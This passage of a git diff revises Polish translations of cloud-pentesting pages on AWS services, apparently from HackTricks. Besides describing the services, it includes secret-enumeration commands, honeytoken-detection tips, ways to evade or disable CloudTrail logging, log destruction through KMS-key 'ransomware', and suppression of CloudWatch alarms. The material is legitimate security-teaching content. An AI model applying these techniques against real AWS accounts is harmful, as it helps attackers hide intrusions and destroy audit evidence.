+ +### Enumeration ```bash # Get clusters aws redshift describe-clusters @@ -51,7 +89,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -Następujące działania umożliwiają przyznanie dostępu do klastra innym kontom AWS: +Następujące działania umożliwiają przyznanie dostępu do innych kont AWS do klastra: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index fd092b5e1..a005f4c56 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -**Relational Database Service (RDS)** oferowane przez AWS jest zaprojektowane w celu uproszczenia wdrażania, obsługi i skalowania **bazy danych relacyjnej w chmurze**. Usługa ta oferuje zalety efektywności kosztowej i skalowalności, automatyzując pracochłonne zadania, takie jak provisionowanie sprzętu, konfiguracja bazy danych, łatanie i tworzenie kopii zapasowych. +**Relational Database Service (RDS)** oferowany przez AWS jest zaprojektowany w celu uproszczenia wdrażania, obsługi i skalowania **bazy danych relacyjnej w chmurze**. Usługa ta oferuje zalety efektywności kosztowej i skalowalności, automatyzując pracochłonne zadania, takie jak provisionowanie sprzętu, konfiguracja bazy danych, łatanie i tworzenie kopii zapasowych. AWS RDS obsługuje różne powszechnie używane silniki baz danych relacyjnych, w tym MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, z kompatybilnością zarówno dla MySQL, jak i PostgreSQL. @@ -58,15 +58,15 @@ Obok możliwości szyfrowania inherentnych dla RDS na poziomie aplikacji, RDS ob Aby skorzystać z TDE, wymagane są pewne wstępne kroki: 1. **Stowarzyszenie grupy opcji**: -- Baza danych musi być stowarzyszona z grupą opcji. Grupy opcji służą jako kontenery dla ustawień i funkcji, ułatwiając zarządzanie bazą danych, w tym ulepszenia bezpieczeństwa. +- Baza danych musi być powiązana z grupą opcji. Grupy opcji służą jako kontenery dla ustawień i funkcji, ułatwiając zarządzanie bazą danych, w tym ulepszenia bezpieczeństwa. - Jednak ważne jest, aby zauważyć, że grupy opcji są dostępne tylko dla określonych silników baz danych i wersji. 2. **Włączenie TDE w grupie opcji**: -- Po stowarzyszeniu z grupą opcji, opcja Oracle Transparent Data Encryption musi być włączona w tej grupie. +- Po powiązaniu z grupą opcji, opcja Oracle Transparent Data Encryption musi być włączona w tej grupie. - Ważne jest, aby zrozumieć, że po dodaniu opcji TDE do grupy opcji staje się ona stałym elementem i nie może być usunięta. 3. **Tryby szyfrowania TDE**: - TDE oferuje dwa odrębne tryby szyfrowania: - **Szyfrowanie przestrzeni tabel TDE**: Ten tryb szyfruje całe tabele, zapewniając szerszy zakres ochrony danych. -- **Szyfrowanie kolumn TDE**: Ten tryb koncentruje się na szyfrowaniu konkretnych, indywidualnych elementów w bazie danych, umożliwiając bardziej szczegółową kontrolę nad tym, jakie dane są szyfrowane. +- **Szyfrowanie kolumn TDE**: Ten tryb koncentruje się na szyfrowaniu konkretnych, indywidualnych elementów w bazie danych, co pozwala na bardziej szczegółową kontrolę nad tym, jakie dane są szyfrowane. Zrozumienie tych wymagań wstępnych i operacyjnych zawirowań TDE jest kluczowe dla skutecznego wdrażania i zarządzania szyfrowaniem w RDS, zapewniając zarówno bezpieczeństwo danych, jak i zgodność z niezbędnymi standardami. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 6c00ee223..a6d30f419 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -18,7 +18,7 @@ Ponadto, usuwanie oparte na MFA zapobiegnie usunięciu wersji pliku w kubełku S ### Dzienniki dostępu S3 -Możliwe jest **włączenie logowania dostępu S3** (które domyślnie jest wyłączone) dla niektórego kubełka i zapisanie logów w innym kubełku, aby wiedzieć, kto uzyskuje dostęp do kubełka (oba kubełki muszą znajdować się w tym samym regionie). +Możliwe jest **włączenie logowania dostępu S3** (które domyślnie jest wyłączone) do niektórego kubełka i zapisanie logów w innym kubełku, aby wiedzieć, kto uzyskuje dostęp do kubełka (oba kubełki muszą znajdować się w tym samym regionie). ### Pre-signed URLs S3 @@ -48,7 +48,7 @@ ExpiresIn=3600
-Szyfrowanie po stronie serwera z użyciem kluczy zarządzanych przez S3, SSE-S3 +Szyfrowanie po stronie serwera z kluczami zarządzanymi przez S3, SSE-S3 Ta opcja wymaga minimalnej konfiguracji, a zarządzanie kluczami szyfrowania jest realizowane przez AWS. Wszystko, co musisz zrobić, to **przesłać swoje dane, a S3 zajmie się wszystkimi innymi aspektami**. Każdemu koszykowi w koncie S3 przypisany jest klucz koszyka. @@ -65,13 +65,13 @@ Proszę zauważyć, że w tym przypadku **klucz jest zarządzany przez AWS** (ro
-Szyfrowanie po stronie serwera z użyciem kluczy zarządzanych przez KMS, SSE-KMS +Szyfrowanie po stronie serwera z kluczami zarządzanymi przez KMS, SSE-KMS Ta metoda pozwala S3 korzystać z usługi zarządzania kluczami do generowania kluczy szyfrowania danych. KMS daje znacznie większą elastyczność w zarządzaniu kluczami. Na przykład, możesz dezaktywować, rotować i stosować kontrole dostępu do CMK oraz monitorować ich użycie za pomocą AWS Cloud Trail. - Szyfrowanie: - S3 żąda kluczy danych od KMS CMK -- KMS używa CMK do generowania pary DEK jawnego i DEK szyfrowanego i wysyła je do S3 +- KMS używa CMK do generowania pary DEK jawny i DEK szyfrowany i wysyła je do S3 - S3 używa jawnego klucza do szyfrowania danych, przechowuje szyfrowane dane i szyfrowany klucz oraz usuwa z pamięci jawny klucz - Deszyfrowanie: - S3 prosi KMS o deszyfrowanie szyfrowanego klucza danych obiektu @@ -82,7 +82,7 @@ Ta metoda pozwala S3 korzystać z usługi zarządzania kluczami do generowania k
-Szyfrowanie po stronie serwera z użyciem kluczy dostarczonych przez klienta, SSE-C +Szyfrowanie po stronie serwera z kluczami dostarczonymi przez klienta, SSE-C Ta opcja daje Ci możliwość dostarczenia własnego klucza głównego, którego możesz już używać poza AWS. Twój klucz dostarczony przez klienta zostanie następnie wysłany z danymi do S3, gdzie S3 wykona szyfrowanie za Ciebie. @@ -100,9 +100,9 @@ Ta opcja daje Ci możliwość dostarczenia własnego klucza głównego, którego
-Szyfrowanie po stronie klienta z użyciem KMS, CSE-KMS +Szyfrowanie po stronie klienta z KMS, CSE-KMS -Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarządzania kluczami do generowania kluczy szyfrowania danych. Jednak tym razem KMS jest wywoływane przez klienta, a nie przez S3. Szyfrowanie odbywa się po stronie klienta, a szyfrowane dane są następnie wysyłane do S3 w celu przechowania. +Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarządzania kluczami do generowania kluczy szyfrowania danych. Jednak tym razem KMS jest wywoływane przez klienta, a nie przez S3. Szyfrowanie odbywa się po stronie klienta, a szyfrowane dane są następnie wysyłane do S3 w celu przechowywania. - Szyfrowanie: - Klient żąda klucza danych od KMS @@ -118,9 +118,9 @@ Podobnie jak w przypadku SSE-KMS, ta metoda również wykorzystuje usługę zarz
-Szyfrowanie po stronie klienta z użyciem kluczy dostarczonych przez klienta, CSE-C +Szyfrowanie po stronie klienta z kluczami dostarczonymi przez klienta, CSE-C -Korzystając z tego mechanizmu, możesz wykorzystać własne dostarczone klucze i użyć klienta AWS-SDK do szyfrowania danych przed wysłaniem ich do S3 w celu przechowania. +Korzystając z tego mechanizmu, możesz wykorzystać własne dostarczone klucze i użyć klienta AWS-SDK do szyfrowania danych przed wysłaniem ich do S3 w celu przechowywania. - Szyfrowanie: - Klient generuje DEK i szyfruje jawne dane @@ -272,7 +272,7 @@ Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień S3, aby e Amazon Athena to interaktywny serwis zapytań, który ułatwia **analizowanie danych** bezpośrednio w Amazon Simple Storage Service (Amazon **S3**) **przy użyciu** standardowego **SQL**. -Musisz **przygotować tabelę DB relacyjną** w formacie treści, która ma się pojawić w monitorowanych koszykach S3. Następnie Amazon Athena będzie mogła zapełnić DB z logów, abyś mógł je zapytać. +Musisz **przygotować tabelę DB relacyjną** w formacie treści, która ma się pojawić w monitorowanych koszykach S3. Następnie Amazon Athena będzie mogła zapełnić DB z logów, abyś mógł ją zapytać. Amazon Athena obsługuje **możliwość zapytania danych S3, które są już zaszyfrowane**, a jeśli jest to skonfigurowane, **Athena może również zaszyfrować wyniki zapytania, które mogą być następnie przechowywane w S3**. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 17b0b727f..5d80c654d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -1,4 +1,4 @@ -# AWS - Secrets Manager Enum +# AWS - Enum Secrets Manager {{#include ../../../banners/hacktricks-training.md}} @@ -6,19 +6,19 @@ AWS Secrets Manager jest zaprojektowany, aby **eliminować użycie zakodowanych na stałe sekretów w aplikacjach, zastępując je wywołaniem API**. Ta usługa służy jako **centralne repozytorium dla wszystkich twoich sekretów**, zapewniając ich jednolite zarządzanie we wszystkich aplikacjach. -Menadżer upraszcza **proces rotacji sekretów**, znacznie poprawiając bezpieczeństwo wrażliwych danych, takich jak poświadczenia do bazy danych. Dodatkowo, sekrety takie jak klucze API mogą być automatycznie rotowane przy integracji z funkcjami lambda. +Menadżer upraszcza **proces rotacji sekretów**, znacznie poprawiając bezpieczeństwo wrażliwych danych, takich jak poświadczenia bazy danych. Dodatkowo, sekrety takie jak klucze API mogą być automatycznie rotowane z integracją funkcji lambda. Dostęp do sekretów jest ściśle kontrolowany przez szczegółowe polityki oparte na tożsamości IAM oraz polityki oparte na zasobach. -Aby przyznać dostęp do sekretów użytkownikowi z innego konta AWS, należy: +Aby przyznać dostęp do sekretów użytkownikowi z innego konta AWS, konieczne jest: -1. Autoryzować użytkownika do dostępu do sekretu. -2. Przyznać użytkownikowi uprawnienia do odszyfrowania sekretu za pomocą KMS. -3. Zmodyfikować politykę klucza, aby umożliwić zewnętrznemu użytkownikowi jej wykorzystanie. +1. Autoryzowanie użytkownika do dostępu do sekretu. +2. Przyznanie użytkownikowi uprawnień do odszyfrowania sekretu za pomocą KMS. +3. Modyfikacja polityki klucza, aby umożliwić zewnętrznemu użytkownikowi jego wykorzystanie. **AWS Secrets Manager integruje się z AWS KMS, aby szyfrować twoje sekrety w AWS Secrets Manager.** -### **Enumeration** +### **Enumeracja** ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -30,7 +30,7 @@ aws secretsmanager get-resource-policy --secret-id --secret-id ### Privesc {{#ref}} -../aws-privilege-escalation/aws-secrets-manager-privec.md +../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} ### Post Exploitation diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 6be60acf6..aa88be362 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyty zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami. +AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami. Każde zarejestrowane zdarzenie zawiera: @@ -22,7 +22,7 @@ Każde zarejestrowane zdarzenie zawiera: Zdarzenia są zapisywane w nowym pliku dziennika **około co 5 minut w pliku JSON**, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są **dostarczane do S3 około 15 minut po**.\ Dzienniki CloudTrail mogą być **agregowane w różnych kontach i regionach.**\ CloudTrail pozwala na użycie **integralności plików dziennika, aby móc zweryfikować, że Twoje pliki dziennika pozostały niezmienione** od momentu, gdy CloudTrail je dostarczył. Tworzy skrót SHA-256 dzienników w pliku podsumowującym. Skrót sha-256 nowych dzienników jest tworzony co godzinę.\ -Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia analityczne. +Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, które zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia analityczne. Dzienniki są przechowywane w wiadrze S3. Domyślnie używana jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami. @@ -55,7 +55,7 @@ Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, ### CloudTrail z wszystkich kont organizacji do 1 -Podczas tworzenia CloudTrail, możliwe jest wskazanie aktywacji CloudTrail dla wszystkich kont w organizacji i zebranie dzienników w tylko 1 wiadrze: +Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować CloudTrail dla wszystkich kont w organizacji i uzyskać dzienniki do tylko 1 wiadra:
@@ -67,7 +67,7 @@ Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logi do CloudWatch +### Logs to CloudWatch **CloudTrail może automatycznie wysyłać logi do CloudWatch, abyś mógł ustawić alerty, które ostrzegają cię, gdy wykonywane są podejrzane działania.**\ Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy utworzyć **rolę**, która pozwala na tę akcję. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na: @@ -75,37 +75,37 @@ Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy - CreateLogStream: To pozwala na tworzenie strumieni logów CloudWatch - PutLogEvents: Dostarczanie logów CloudTrail do strumienia logów CloudWatch -### Historia zdarzeń +### Event History Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane: ![](<../../../../images/image (89).png>) -### Spostrzeżenia +### Insights **CloudTrail Insights** automatycznie **analizuje** zdarzenia zarządzania zapisem z tras CloudTrail i **informuje** cię o **nietypowej aktywności**. Na przykład, jeśli nastąpi wzrost zdarzeń `TerminateInstance`, który różni się od ustalonych podstaw, zobaczysz to jako zdarzenie Insight. Te zdarzenia ułatwiają **znalezienie i reagowanie na nietypową aktywność API** jak nigdy dotąd. -Spostrzeżenia są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Bezpieczeństwo +### Security -| Integralność pliku logu CloudTrail |
  • Walidacja, czy logi nie zostały zmanipulowane (zmodyfikowane lub usunięte)
  • Używa plików skrótów (tworzy hash dla każdego pliku)

    • SHA-256 hashing
    • SHA-256 z RSA do podpisywania cyfrowego
    • klucz prywatny należący do Amazon
  • Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)
| +| Integralność pliku logu CloudTrail |
  • Walidacja, czy logi nie zostały zmienione (zmodyfikowane lub usunięte)
  • Używa plików skrótów (tworzy hash dla każdego pliku)

    • SHA-256 hashing
    • SHA-256 z RSA do podpisywania cyfrowego
    • klucz prywatny należący do Amazon
  • Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Zatrzymaj nieautoryzowany dostęp |
  • Użyj polityk IAM i polityk koszyków S3

    • zespół bezpieczeństwa —> dostęp administracyjny
    • audytorzy —> dostęp tylko do odczytu
  • Użyj SSE-S3/SSE-KMS do szyfrowania logów
| -| Zapobiegaj usuwaniu plików logów |
  • Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków
  • Skonfiguruj usuwanie MFA S3
  • Walidacja za pomocą Walidacji pliku logu
| +| Zapobiegaj usuwaniu plików logów |
  • Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków
  • Skonfiguruj S3 MFA delete
  • Walidacja z użyciem Walidacji plików logów
| -## Doradca dostępu +## Access Advisor -AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS **CloudTrail, aby zebrać swoje spostrzeżenia**. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Doradca dostępu wykorzystuje te dane, aby **pokazać, kiedy usługi były ostatnio używane**. Analizując logi CloudTrail, Doradca dostępu może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące **udoskonalania uprawnień**, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia. +AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS **CloudTrail, aby zebrać swoje wnioski**. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Access Advisor wykorzystuje te dane, aby **pokazać, kiedy usługi były ostatnio używane**. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. To pomaga administratorom AWS podejmować świadome decyzje dotyczące **udoskonalania uprawnień**, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia. > [!TIP] -> Dlatego Doradca dostępu informuje o **niepotrzebnych uprawnieniach przyznawanych użytkownikom**, aby administrator mógł je usunąć +> Dlatego Access Advisor informuje o **niepotrzebnych uprawnieniach przyznawanych użytkownikom**, aby administrator mógł je usunąć
-## Akcje +## Actions -### Enumeracja +### Enumeration ```bash # Get trails info aws cloudtrail list-trails @@ -136,7 +136,7 @@ S3BucketName="random" ) print(response) ``` -Aby uzyskać więcej informacji na temat wstrzyknięć CSV, sprawdź stronę: +Aby uzyskać więcej informacji na temat CSV Injections, sprawdź stronę: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection @@ -157,7 +157,7 @@ Jednakże, Honeytokens, takie jak te stworzone przez [**Canarytokens**](https:// - Jeśli **`canarytokens.org`** pojawia się w nazwie roli lub identyfikator konta **`534261010715`** pojawia się w komunikacie o błędzie. - Testując je ostatnio, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie. - Jeśli **`SpaceCrab`** pojawia się w nazwie roli w komunikacie o błędzie. -- **SpaceSiren** używa **uuid** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- **SpaceSiren** używa **uuids** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - Jeśli **nazwa wygląda na losowo wygenerowaną**, istnieje duże prawdopodobieństwo, że jest to HoneyToken. #### Uzyskaj identyfikator konta z identyfikatora klucza @@ -197,7 +197,7 @@ W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokol ![](<../../../../images/image (93).png>) -> [!OSTRZEŻENIE] +> [!CAUTION] > Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, zostały teraz naprawione, więc być może będziesz musiał znaleźć swoje własne... > > Aby uzyskać więcej informacji, sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). @@ -206,7 +206,7 @@ W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokol Niektóre usługi AWS **tworzą pewną infrastrukturę**, taką jak **bazy danych** lub **klastry Kubernetes** (EKS). Użytkownik **rozmawiający bezpośrednio z tymi usługami** (jak API Kubernetes) **nie będzie używał API AWS**, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji. -Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i **rozmawiać z usługą API bez wykrycia przez Cloudtrail**. +Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i **rozmawiać z usługą API bez wykrycia przez CloudTrail**. Więcej informacji w: @@ -255,7 +255,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration #### Ransomware S3 -Możesz **wygenerować klucz asymetryczny** i sprawić, że **CloudTrail zaszyfruje dane** tym kluczem, a następnie **usunąć klucz prywatny**, aby zawartość CloudTrail nie mogła zostać odzyskana.\ +Możesz **wygenerować klucz asymetryczny** i sprawić, aby **CloudTrail szyfrował dane** tym kluczem oraz **usunąć klucz prywatny**, aby zawartość CloudTrail nie mogła zostać odzyskana.\ To jest zasadniczo **ransomware S3-KMS** wyjaśnione w: {{#ref}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 1399d19c2..47f58221a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -33,7 +33,7 @@ Metryki to punkty danych zbierane w czasie, które reprezentują wydajność lub ### Wymiary -Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają unikalnie zidentyfikować metrykę i dostarczają dodatkowego kontekstu, przy czym maksymalna liczba wymiarów, które można powiązać z metryką, wynosi 30. Wymiary umożliwiają również filtrowanie i agregowanie metryk na podstawie określonych atrybutów. +Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają one unikalnie zidentyfikować metrykę i dostarczają dodatkowego kontekstu, przy czym maksymalna liczba wymiarów, które można powiązać z metryką, wynosi 30. Wymiary umożliwiają również filtrowanie i agregowanie metryk na podstawie określonych atrybutów. - **Przykład**: Dla instancji EC2 wymiary mogą obejmować InstanceId, InstanceType i AvailabilityZone. @@ -41,7 +41,7 @@ Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają unikaln Statystyki to obliczenia matematyczne wykonywane na danych metrycznych w celu ich podsumowania w czasie. Powszechne statystyki to Średnia, Suma, Minimum, Maksimum i LiczbaPróbek. -- **Przykład**: Obliczanie średniego wykorzystania CPU w okresie jednej godziny. +- **Przykład**: Obliczanie średniego wykorzystania CPU w ciągu jednej godziny. ### Jednostki @@ -57,8 +57,8 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k **Kluczowe funkcje**: -- **Widżety**: Elementy budujące pulpity nawigacyjne, w tym wykresy, tekst, alarmy i inne. -- **Dostosowanie**: Układ i zawartość mogą być dostosowane do konkretnych potrzeb monitorowania. +- **Widgety**: Elementy budujące pulpity nawigacyjne, w tym wykresy, tekst, alarmy i inne. +- **Dostosowanie**: Układ i zawartość mogą być dostosowane do specyficznych potrzeb monitorowania. **Przykład zastosowania**: @@ -66,7 +66,7 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k ### Strumień metryk i dane metryczne -**Strumienie metryk** w AWS CloudWatch umożliwiają ciągłe przesyłanie metryk CloudWatch do wybranego miejsca w niemal rzeczywistym czasie. Jest to szczególnie przydatne do zaawansowanego monitorowania, analityki i niestandardowych pulpitów nawigacyjnych przy użyciu narzędzi spoza AWS. +**Strumienie metryk** w AWS CloudWatch umożliwiają ciągłe przesyłanie metryk CloudWatch do wybranego miejsca docelowego w niemal rzeczywistym czasie. Jest to szczególnie przydatne do zaawansowanego monitorowania, analityki i niestandardowych pulpitów nawigacyjnych przy użyciu narzędzi spoza AWS. **Dane metryczne** w strumieniach metryk odnoszą się do rzeczywistych pomiarów lub punktów danych, które są przesyłane. Te punkty danych reprezentują różne metryki, takie jak wykorzystanie CPU, użycie pamięci itp., dla zasobów AWS. @@ -77,7 +77,7 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k ### Alarm -**Alarmy CloudWatch** monitorują Twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedną lub więcej akcji, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda. +**Alarmy CloudWatch** monitorują twoje metryki i wykonują działania na podstawie zdefiniowanych progów. Gdy metryka przekroczy próg, alarm może wykonać jedną lub więcej akcji, takich jak wysyłanie powiadomień za pośrednictwem SNS, uruchamianie polityki automatycznego skalowania lub uruchamianie funkcji AWS Lambda. **Kluczowe komponenty**: @@ -90,9 +90,9 @@ Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć k - Monitorowanie wykorzystania CPU instancji EC2 i wysyłanie powiadomienia za pośrednictwem SNS, jeśli przekroczy 80% przez 5 kolejnych minut. -### Detektory anomalii +### Wykrywacze anomalii -**Detektory anomalii** wykorzystują uczenie maszynowe do automatycznego wykrywania anomalii w Twoich metrykach. Możesz zastosować wykrywanie anomalii do dowolnej metryki CloudWatch, aby zidentyfikować odchylenia od normalnych wzorców, które mogą wskazywać na problemy. +**Wykrywacze anomalii** wykorzystują uczenie maszynowe do automatycznego wykrywania anomalii w twoich metrykach. Możesz zastosować wykrywanie anomalii do dowolnej metryki CloudWatch, aby zidentyfikować odchylenia od normalnych wzorców, które mogą wskazywać na problemy. **Kluczowe komponenty**: @@ -126,7 +126,7 @@ Pozwala na **agregację i monitorowanie logów z aplikacji** i systemów z **us ### Monitorowanie i zdarzenia CloudWatch -CloudWatch **podstawowy** agreguje dane **co 5 minut** (ten **szczegółowy** robi to **co 1 minutę**). Po agregacji **sprawdza progi alarmów**, aby zobaczyć, czy należy uruchomić jeden z nich.\ +CloudWatch **podstawowy** agreguje dane **co 5 minut** (ten **szczegółowy** robi to **co 1 minutę**). Po agregacji **sprawdza progi alarmów**, aby zobaczyć, czy należy uruchomić jeden.\ W takim przypadku CloudWatch może być przygotowany do wysłania zdarzenia i wykonania pewnych automatycznych działań (funkcje AWS lambda, tematy SNS, kolejki SQS, strumienie Kinesis) ### Instalacja agenta @@ -137,7 +137,7 @@ Możesz zainstalować agentów wewnątrz swoich maszyn/kontenerów, aby automaty - **Pobierz** i **zainstaluj** **agenta** na instancji EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Możesz go pobrać z wnętrza EC2 lub zainstalować automatycznie za pomocą AWS System Manager, wybierając pakiet AWS-ConfigureAWSPackage - **Skonfiguruj** i **uruchom** agenta CloudWatch -Grupa logów ma wiele strumieni. Strumień ma wiele zdarzeń. A w każdym strumieniu zdarzenia są gwarantowane, że będą w porządku. +Grupa logów ma wiele strumieni. Strumień ma wiele zdarzeń. A w każdym strumieniu zdarzenia są gwarantowane w kolejności. ## Enumeracja ```bash @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Atakujący z tymi uprawnieniami mógłby znacznie osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia, które informują administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub uciszać uzasadnione alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty. +Atakujący z tymi uprawnieniami mógłby znacznie osłabić infrastrukturę monitorowania i powiadamiania organizacji. Usuwając istniejące alarmy, atakujący mógłby wyłączyć kluczowe powiadomienia informujące administratorów o krytycznych problemach z wydajnością, naruszeniach bezpieczeństwa lub awariach operacyjnych. Ponadto, tworząc lub modyfikując alarmy metryczne, atakujący mógłby również wprowadzać administratorów w błąd fałszywymi powiadomieniami lub 